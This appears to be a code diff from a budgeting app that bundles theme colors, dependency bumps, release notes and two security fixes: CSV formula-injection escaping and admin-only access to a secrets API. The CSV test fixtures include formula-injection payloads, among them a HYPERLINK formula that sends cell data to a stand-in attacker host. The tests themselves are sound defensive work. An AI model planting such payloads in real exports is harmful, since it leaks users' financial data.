export const tableRowBackgroundHighlightText = colorPalette.gray800;
export const tableRowHeaderBackground = colorPalette.gray700;
export const tableRowHeaderText = colorPalette.gray150;
export const numberPositive = colorPalette.green300;
export const numberNegative = colorPalette.red200;
export const numberNeutral = colorPalette.gray500;
export const budgetNumberNegative = numberNegative;
export const budgetNumberZero = tableTextSubdued;
export const budgetNumberNeutral = tableText;
export const budgetNumberPositive = budgetNumberNeutral;
export const templateNumberFunded = numberPositive;
export const templateNumberUnderFunded = colorPalette.orange200;
export const toBudgetPositive = numberPositive;
export const toBudgetZero = numberPositive;
export const toBudgetNegative = budgetNumberNegative;
export const sidebarBackground = colorPalette.gray900;
export const sidebarItemBackgroundPending = colorPalette.orange200;
export const sidebarItemBackgroundPositive = colorPalette.green400;
export const sidebarItemBackgroundFailed = colorPalette.red300;
export const sidebarItemAccentSelected = colorPalette.purple200;
export const sidebarItemBackgroundHover = colorPalette.gray700;
export const sidebarItemText = colorPalette.gray100;
export const sidebarItemTextSelected = colorPalette.purple200;
export const sidebarBudgetName = colorPalette.gray300;
export const menuBackground = colorPalette.gray700;
export const menuItemBackground = colorPalette.gray200;
export const menuItemBackgroundHover = colorPalette.gray500;
export const menuItemText = colorPalette.gray100;
export const menuItemTextHover = colorPalette.gray50;
export const menuItemTextSelected = colorPalette.purple400;
export const menuItemTextHeader = colorPalette.purple200;
export const menuBorder = colorPalette.gray800;
export const menuBorderHover = colorPalette.purple300;
export const menuKeybindingText = colorPalette.purple200;
export const menuAutoCompleteBackground = colorPalette.gray600;
export const menuAutoCompleteBackgroundHover = colorPalette.gray500;
export const menuAutoCompleteText = colorPalette.gray100;
export const menuAutoCompleteTextHover = colorPalette.green400;
export const menuAutoCompleteTextHeader = colorPalette.purple200;
export const menuAutoCompleteItemTextHover = colorPalette.gray50;
export const menuAutoCompleteItemText = menuItemText;
export const modalBackground = colorPalette.gray700;
export const modalBorder = colorPalette.gray200;
export const mobileHeaderBackground = colorPalette.gray900;
export const mobileHeaderText = colorPalette.purple200;
export const mobileHeaderTextSubdued = colorPalette.gray200;
export const mobileHeaderTextHover = 'rgba(200, 200, 200, .15)';
export const mobilePageBackground = colorPalette.gray900;
export const mobileNavBackground = colorPalette.gray600;
export const mobileNavItem = colorPalette.gray150;
export const mobileNavItemSelected = colorPalette.purple200;
export const mobileAccountShadow = cardShadow;
export const mobileAccountText = colorPalette.blue800;
export const mobileTransactionSelected = colorPalette.purple300;
// Mobile view themes (for the top bar)
export const mobileViewTheme = mobileHeaderBackground;
export const mobileConfigServerViewTheme = colorPalette.purple500;
export const markdownNormal = colorPalette.purple700;
export const markdownDark = colorPalette.purple500;
export const markdownLight = colorPalette.purple800;
// Button
export const buttonMenuText = colorPalette.gray200;
export const buttonMenuTextHover = buttonMenuText;
export const buttonMenuBackground = colorPalette.gray700;
export const buttonMenuBackgroundHover = 'rgba(200, 200, 200, .25)';
export const buttonMenuBorder = colorPalette.gray500;
export const buttonMenuSelectedText = colorPalette.green800;
export const buttonMenuSelectedTextHover = colorPalette.orange800;
export const buttonMenuSelectedBackground = colorPalette.orange200;
export const buttonMenuSelectedBackgroundHover = colorPalette.gray300;
export const buttonMenuSelectedBorder = buttonMenuSelectedBackground;
export const buttonPrimaryText = colorPalette.white;
export const buttonPrimaryTextHover = buttonPrimaryText;
export const buttonPrimaryBackground = colorPalette.purple300;
export const buttonPrimaryBackgroundHover = buttonPrimaryBackground;
export const buttonPrimaryBorder = buttonPrimaryBackground;
export const buttonPrimaryShadow = 'rgba(0, 0, 0, 0.6)';
export const buttonPrimaryDisabledText = colorPalette.gray400;
export const buttonPrimaryDisabledBackground = colorPalette.gray700;
export const buttonPrimaryDisabledBorder = buttonPrimaryDisabledBackground;
export const buttonNormalText = colorPalette.gray150;
export const buttonNormalTextHover = colorPalette.gray150;
export const buttonNormalBackground = colorPalette.gray600;
export const buttonNormalBackgroundHover = colorPalette.gray400;
export const buttonNormalBorder = colorPalette.gray300;
export const buttonNormalShadow = 'rgba(0, 0, 0, 0.4)';
export const buttonNormalSelectedText = colorPalette.white;
export const buttonNormalSelectedBackground = colorPalette.purple500;
export const buttonNormalDisabledText = colorPalette.gray400;
export const buttonNormalDisabledBackground = colorPalette.gray700;
export const buttonNormalDisabledBorder = colorPalette.gray500;
export const calendarText = colorPalette.gray50;
export const calendarBackground = colorPalette.gray700;
export const calendarItemText = colorPalette.gray150;
export const calendarItemBackground = colorPalette.gray500;
export const calendarSelectedBackground = buttonNormalSelectedBackground;
export const buttonBareText = buttonNormalText;
export const buttonBareTextHover = buttonNormalText;
export const buttonBareBackground = 'transparent';
export const buttonBareBackgroundHover = 'rgba(200, 200, 200, .3)';
export const buttonBareBackgroundActive = 'rgba(200, 200, 200, .5)';
export const buttonBareDisabledText = buttonNormalDisabledText;
export const buttonBareDisabledBackground = buttonBareBackground;
export const noticeBackground = colorPalette.green600;
export const noticeBackgroundLight = colorPalette.green900;
export const noticeBackgroundDark = colorPalette.green400;
export const noticeText = colorPalette.green300;
export const noticeTextLight = colorPalette.green400;
export const noticeTextDark = colorPalette.green150;
export const noticeTextMenu = colorPalette.green400;
export const noticeTextMenuHover = colorPalette.green700;
export const noticeBorder = colorPalette.green800;
export const warningBackground = colorPalette.orange800;
export const warningText = colorPalette.orange200;
export const warningTextLight = colorPalette.orange500;
export const warningTextDark = colorPalette.orange100;
export const warningBorder = colorPalette.orange500;
export const errorBackground = colorPalette.red800;
export const errorText = colorPalette.red200;
export const errorTextDark = colorPalette.red150;
export const errorTextDarker = errorTextDark;
export const errorTextMenu = colorPalette.red200;
export const errorBorder = colorPalette.red500;
export const upcomingBackground = colorPalette.purple800;
export const upcomingText = colorPalette.purple200;
export const upcomingBorder = tableBorder;
export const formLabelText = colorPalette.purple150;
export const formLabelBackground = colorPalette.blue900;
export const formInputBackground = colorPalette.gray800;
export const formInputBackgroundSelected = colorPalette.gray700;
export const formInputBackgroundSelection = colorPalette.purple400;
export const formInputBorder = colorPalette.gray600;
export const formInputTextReadOnlySelection = colorPalette.gray800;
export const formInputBorderSelected = colorPalette.purple300;
export const formInputText = colorPalette.gray150;
export const formInputTextSelected = colorPalette.black;
export const formInputTextPlaceholder = colorPalette.gray150;
export const formInputTextPlaceholderSelected = colorPalette.gray100;
export const formInputTextSelection = colorPalette.gray800;
export const formInputShadowSelected = colorPalette.purple400;
export const formInputTextHighlight = colorPalette.purple200;
export const checkboxText = tableText;
export const checkboxBackgroundSelected = colorPalette.purple300;
export const checkboxBorderSelected = colorPalette.purple300;
export const checkboxShadowSelected = colorPalette.purple500;
export const checkboxToggleBackground = colorPalette.gray400;
export const checkboxToggleBackgroundSelected = colorPalette.purple300;
export const checkboxToggleDisabled = colorPalette.gray700;
export const pillBackground = colorPalette.gray500;
export const pillBackgroundLight = colorPalette.gray900;
export const pillText = colorPalette.gray200;
export const pillTextHighlighted = colorPalette.purple200;
export const pillBorder = colorPalette.gray500;
export const pillBorderDark = pillBorder;
export const pillBackgroundSelected = colorPalette.purple600;
export const pillTextSelected = colorPalette.gray150;
export const pillBorderSelected = colorPalette.purple300;
export const pillTextSubdued = colorPalette.gray500;
export const reportsRed = colorPalette.red300;
export const reportsBlue = colorPalette.blue400;
export const reportsGreen = colorPalette.green400;
export const reportsGray = colorPalette.gray400;
export const reportsLabel = pageText;
export const reportsInnerLabel = colorPalette.navy800;
export const reportsNumberPositive = numberPositive;
export const reportsNumberNegative = numberNegative;
export const reportsNumberNeutral = numberNeutral;
export const reportsChartFill = reportsNumberPositive;
export const noteTagBackground = colorPalette.purple800;
export const noteTagBackgroundHover = colorPalette.purple600;
export const noteTagDefault = colorPalette.purple700;
export const noteTagText = colorPalette.purple100;
export const budgetOtherMonth = colorPalette.gray700;
export const budgetCurrentMonth = tableBackground;
export const budgetHeaderOtherMonth = colorPalette.gray800;
export const budgetHeaderCurrentMonth = tableHeaderBackground;
export const floatingActionBarBackground = colorPalette.gray900;
export const floatingActionBarBorder = colorPalette.purple300;
export const floatingActionBarText = colorPalette.purple200;
export const tooltipText = colorPalette.gray100;
export const tooltipBackground = colorPalette.gray800;
export const tooltipBorder = colorPalette.gray600;
export const calendarCellBackground = colorPalette.navy900;
export const overlayBackground = 'rgba(0, 0, 0, 0.3)';
// Chart colors - Qualitative scale (9 colors)
export const chartQual1 = colorPalette.chartQual1;
export const chartQual2 = colorPalette.chartQual2;
export const chartQual3 = colorPalette.chartQual3;
export const chartQual4 = colorPalette.chartQual4;
export const chartQual5 = colorPalette.chartQual5;
export const chartQual6 = colorPalette.chartQual6;
export const chartQual7 = colorPalette.chartQual7;
export const chartQual8 = colorPalette.chartQual8;
export const chartQual9 = colorPalette.chartQual9;

View File

@@ -220,7 +220,7 @@
"ts-node": "^10.9.2",
"util": "^0.12.5",
"vite": "^8.0.5",
"vite-plugin-node-polyfills": "^0.26.0",
"vite-plugin-node-polyfills": "^0.27.0",
"vite-plugin-peggy-loader": "^2.0.1",
"vitest": "^4.1.2",
"yargs": "^18.0.0"

View File

@@ -0,0 +1,60 @@
import { parse as csvParse } from 'csv-parse/sync';
import { exportToCSV } from './export-to-csv';
describe('exportToCSV', () => {
const accounts = [{ id: 'a1', name: 'Checking' }];
const categoryGroups = [
{ name: 'Income', categories: [{ id: 'c1', name: 'Salary' }] },
];
function makeTransaction(overrides: Record<string, unknown> = {}) {
return {
account: 'a1',
date: '2026-01-01',
payee: 'p1',
notes: '',
category: 'c1',
amount: 10000,
cleared: false,
reconciled: false,
...overrides,
};
}
async function payeeCell(payeeName: string, amount = 10000) {
const csv = await exportToCSV(
[makeTransaction({ amount })],
accounts,
categoryGroups,
[{ id: 'p1', name: payeeName }],
);
const rows = csvParse(csv, { columns: true }) as Array<
Record<string, string>
>;
return { row: rows[0], csv };
}
it.each([
['=HYPERLINK("http://attacker/?d="&B2,"x")'],
['=1+1'],
['+1+1'],
['-2+3'],
['@SUM(1+1)'],
['\tHELLO'],
['\rHELLO'],
])('prefixes a payee starting with %j with a single quote', async payload => {
const { row } = await payeeCell(payload);
expect(row.Payee).toBe("'" + payload);
});
it('does not prefix payees without a leading trigger character', async () => {
const { row } = await payeeCell('Acme Corp');
expect(row.Payee).toBe('Acme Corp');
});
it('does not prefix negative numeric amounts', async () => {
const { row } = await payeeCell('Acme', -2500);
expect(row.Amount).toBe('-25');
});
});

View File

@@ -4,6 +4,16 @@ import { stringify as csvStringify } from 'csv-stringify/sync';
import { aqlQuery } from '#server/aql';
import { integerToAmount } from '#shared/util';
const FORMULA_TRIGGERS = /^[=+\-@\t\r]/;
const csvStringifyOptions = {
header: true,
cast: {
string: (value: string) =>
FORMULA_TRIGGERS.test(value) ? "'" + value : value,
},
};
export async function exportToCSV(
transactions,
accounts,
@@ -53,7 +63,7 @@ export async function exportToCSV(
}),
);
return csvStringify(transactionsForExport, { header: true });
return csvStringify(transactionsForExport, csvStringifyOptions);
}
export async function exportQueryToCSV(query) {
@@ -128,5 +138,5 @@ export async function exportQueryToCSV(query) {
};
});
return csvStringify(transactionsForExport, { header: true });
return csvStringify(transactionsForExport, csvStringifyOptions);
}

View File

@@ -62,7 +62,6 @@ export default defineConfig(({ mode }) => {
},
plugins: [
peggyLoader(),
// https://github.com/davidmyersdev/vite-plugin-node-polyfills/issues/142
nodePolyfills({
include: [
'process',

View File

@@ -1,7 +1,7 @@
import express from 'express';
import { getAccountDb, isAdmin } from './account-db';
import { secretsService } from './services/secrets-service';
import { getActiveLoginMethod, isAdmin } from './account-db';
import { SecretName, secretsService } from './services/secrets-service';
import {
requestLoggerMiddleware,
validateSessionMiddleware,
@@ -14,35 +14,32 @@ app.use(express.json());
app.use(requestLoggerMiddleware);
app.use(validateSessionMiddleware);
// In OpenID mode the secrets store is admin-managed; non-admins must be
// blocked from both reads and writes, otherwise they can enumerate which
// integrations are configured.
function canManageSecrets(userId) {
return getActiveLoginMethod() !== 'openid' || isAdmin(userId);
}
app.post('/', async (req, res) => {
let method;
try {
const result = getAccountDb().first(
'SELECT method FROM auth WHERE active = 1',
);
method = result?.method;
} catch (error) {
console.error('Failed to fetch auth method:', error);
return res.status(500).send({
if (!canManageSecrets(res.locals.user_id)) {
res.status(403).send({
status: 'error',
reason: 'database-error',
details: 'Failed to validate authentication method',
reason: 'not-admin',
details: 'You have to be admin to set secrets',
});
return;
}
const { name, value } = req.body || {};
if (method === 'openid') {
const canSaveSecrets = isAdmin(res.locals.user_id);
if (!canSaveSecrets) {
res.status(403).send({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to set secrets',
});
return;
}
if (!(name in SecretName)) {
res.status(400).send({
status: 'error',
reason: 'invalid-secret-name',
details: 'Unknown secret name',
});
return;
}
secretsService.set(name, value);
@@ -51,9 +48,22 @@ app.post('/', async (req, res) => {
});
app.get('/:name', async (req, res) => {
if (!canManageSecrets(res.locals.user_id)) {
res.status(403).send({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to read secrets',
});
return;
}
const name = req.params.name;
const keyExists = secretsService.exists(name);
if (keyExists) {
if (!(name in SecretName)) {
res.status(404).send('key not found');
return;
}
if (secretsService.exists(name)) {
res.sendStatus(204);
} else {
res.status(404).send('key not found');

View File

@@ -1,9 +1,19 @@
import request from 'supertest';
import { getAccountDb } from './account-db';
import { handlers as app } from './app-secrets';
import { secretsService } from './services/secrets-service';
import { SecretName, secretsService } from './services/secrets-service';
const enableOpenIdAuth = () => {
const db = getAccountDb();
db.mutate('DELETE FROM auth');
db.mutate(
"INSERT INTO auth (method, active, extra_data, display_name) VALUES ('openid', 1, '', 'OpenID')",
);
};
describe('secretsService', () => {
const testSecretName = 'testSecret';
const testSecretName = SecretName.simplefin_token;
const testSecretValue = 'testValue';
it('should set a secret', () => {
@@ -38,6 +48,10 @@ describe('secretsService', () => {
});
describe('secrets api', () => {
afterEach(() => {
getAccountDb().mutate('DELETE FROM auth');
});
it('returns 401 if the user is not authenticated', async () => {
secretsService.set(testSecretName, testSecretValue);
const res = await request(app).get(`/${testSecretName}`);
@@ -52,7 +66,15 @@ describe('secretsService', () => {
it('returns 404 if secret does not exist', async () => {
const res = await request(app)
.get(`/thiskeydoesnotexist`)
.get(`/${SecretName.gocardless_secretKey}`)
.set('x-actual-token', 'valid-token');
expect(res.statusCode).toEqual(404);
});
it('returns 404 for unknown secret names without revealing existence', async () => {
const res = await request(app)
.get('/thiskeydoesnotexist')
.set('x-actual-token', 'valid-token');
expect(res.statusCode).toEqual(404);
@@ -68,7 +90,6 @@ describe('secretsService', () => {
});
it('returns 200 if secret was set', async () => {
secretsService.set(testSecretName, testSecretValue);
const res = await request(app)
.post(`/`)
.set('x-actual-token', 'valid-token')
@@ -79,5 +100,71 @@ describe('secretsService', () => {
status: 'ok',
});
});
it('POST returns 400 for unknown secret names', async () => {
const res = await request(app)
.post('/')
.set('x-actual-token', 'valid-token')
.send({ name: 'thiskeydoesnotexist', value: 'whatever' });
expect(res.statusCode).toEqual(400);
expect(res.body).toEqual({
status: 'error',
reason: 'invalid-secret-name',
details: 'Unknown secret name',
});
});
describe('when OpenID is the active auth method', () => {
beforeEach(() => {
enableOpenIdAuth();
secretsService.set(testSecretName, testSecretValue);
});
it('GET returns 403 for non-admin users', async () => {
const res = await request(app)
.get(`/${testSecretName}`)
.set('x-actual-token', 'valid-token-user');
expect(res.statusCode).toEqual(403);
expect(res.body).toEqual({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to read secrets',
});
});
it('GET returns 204 for admin users when secret exists', async () => {
const res = await request(app)
.get(`/${testSecretName}`)
.set('x-actual-token', 'valid-token-admin');
expect(res.statusCode).toEqual(204);
});
it('POST returns 403 for non-admin users', async () => {
const res = await request(app)
.post('/')
.set('x-actual-token', 'valid-token-user')
.send({ name: testSecretName, value: testSecretValue });
expect(res.statusCode).toEqual(403);
expect(res.body).toEqual({
status: 'error',
reason: 'not-admin',
details: 'You have to be admin to set secrets',
});
});
it('POST returns 200 for admin users', async () => {
const res = await request(app)
.post('/')
.set('x-actual-token', 'valid-token-admin')
.send({ name: testSecretName, value: 'newValue' });
expect(res.statusCode).toEqual(200);
expect(res.body).toEqual({ status: 'ok' });
});
});
});
});

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [matt-fidd]
---
Automation UI: various tweaks and fixes

View File

@@ -0,0 +1,6 @@
---
category: Bugfixes
authors: [samaluk]
---
Color the Balance Forecast line by zero-balance crossing.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Convert built-in themes from TypeScript modules to plain CSS files.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Refactor workflows to utilize native `gh` CLI commands instead of third-party GitHub Actions.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Reference dedicated environments for workflows that consume secrets, satisfying zizmor's `secrets-without-environment` audit.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Fix template injection in setup action's Lage cache step.

View File

@@ -0,0 +1,6 @@
---
category: Bugfixes
authors: [MatissJanis]
---
Prevent exported CSV files from being interpreted as spreadsheet formulas when opened in Excel, LibreOffice Calc, or Google Sheets.

View File

@@ -0,0 +1,6 @@
---
category: Maintenance
authors: [MatissJanis]
---
Upgrade `vite-plugin-node-polyfills` to 0.27.0.

View File

@@ -0,0 +1,6 @@
---
category: Bugfixes
authors: [MatissJanis]
---
Restrict the sync-server secrets API to admins in OpenID mode so non-admin users can no longer enumerate configured bank-sync integrations.

View File

@@ -148,7 +148,7 @@ __metadata:
util: "npm:^0.12.5"
uuid: "npm:^14.0.0"
vite: "npm:^8.0.5"
vite-plugin-node-polyfills: "npm:^0.26.0"
vite-plugin-node-polyfills: "npm:^0.27.0"
vite-plugin-peggy-loader: "npm:^2.0.1"
vitest: "npm:^4.1.2"
xml2js: "npm:^0.6.2"
@@ -19650,9 +19650,9 @@ __metadata:
linkType: hard
"lodash-es@npm:^4.17.21":
version: 4.17.21
resolution: "lodash-es@npm:4.17.21"
checksum: 10/03f39878ea1e42b3199bd3f478150ab723f93cc8730ad86fec1f2804f4a07c6e30deaac73cad53a88e9c3db33348bb8ceeb274552390e7a75d7849021c02df43
version: 4.18.1
resolution: "lodash-es@npm:4.18.1"
checksum: 10/8bfad225ef09ef42b04283cdaf7830efcc2ba29ae41b56501c74422155ee1ccaa1f0f6e8319def3451a1fe54dec501c8e4bee622bae2b2d98ac993731e0a5cce
languageName: node
linkType: hard
@@ -23873,11 +23873,11 @@ __metadata:
linkType: hard
"qs@npm:^6.12.3, qs@npm:^6.14.0, qs@npm:^6.14.1":
version: 6.14.1
resolution: "qs@npm:6.14.1"
version: 6.15.1
resolution: "qs@npm:6.15.1"
dependencies:
side-channel: "npm:^1.1.0"
checksum: 10/34b5ab00a910df432d55180ef39c1d1375e550f098b5ec153b41787f1a6a6d7e5f9495593c3b112b77dbc6709d0ae18e55b82847a4c2bbbb0de1e8ccbb1794c5
checksum: 10/ec10b9957446b3f4a38000940f6374720b4e2985209b89df197066038c951472ea24cd98d6bc6df73a0cbec75bc056f638032e3fb447345017ff7e0f0a2693ac
languageName: node
linkType: hard
@@ -28441,15 +28441,15 @@ __metadata:
languageName: node
linkType: hard
"vite-plugin-node-polyfills@npm:^0.26.0":
version: 0.26.0
resolution: "vite-plugin-node-polyfills@npm:0.26.0"
"vite-plugin-node-polyfills@npm:^0.27.0":
version: 0.27.0
resolution: "vite-plugin-node-polyfills@npm:0.27.0"
dependencies:
"@rollup/plugin-inject": "npm:^5.0.5"
node-stdlib-browser: "npm:^1.3.1"
peerDependencies:
vite: ^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0 || ^8.0.0
checksum: 10/538076561ccfe16e6aa24f7fe9fdb86e0e23ac066fc42b4a6e8af491b2c5d7e3e4a5344694355015d684e2faa69f92e20978b1a1b944770e0d3b8acfea53cbe8
checksum: 10/d3c795f144af2e6806948b6ed6e1842d56310bdcbfe17ca1efcbf6c297f2fd31994f4626cc138df39b2069d38b791960e1dd0f46efd8c7ca8d8c009697ab1721
languageName: node
linkType: hard